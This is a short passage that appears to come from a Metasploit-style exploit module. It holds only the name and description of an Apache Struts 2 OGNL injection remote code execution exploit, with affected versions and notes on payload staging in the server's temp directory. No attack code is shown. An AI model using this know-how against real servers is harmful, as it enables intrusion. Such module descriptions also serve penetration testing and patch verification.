'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
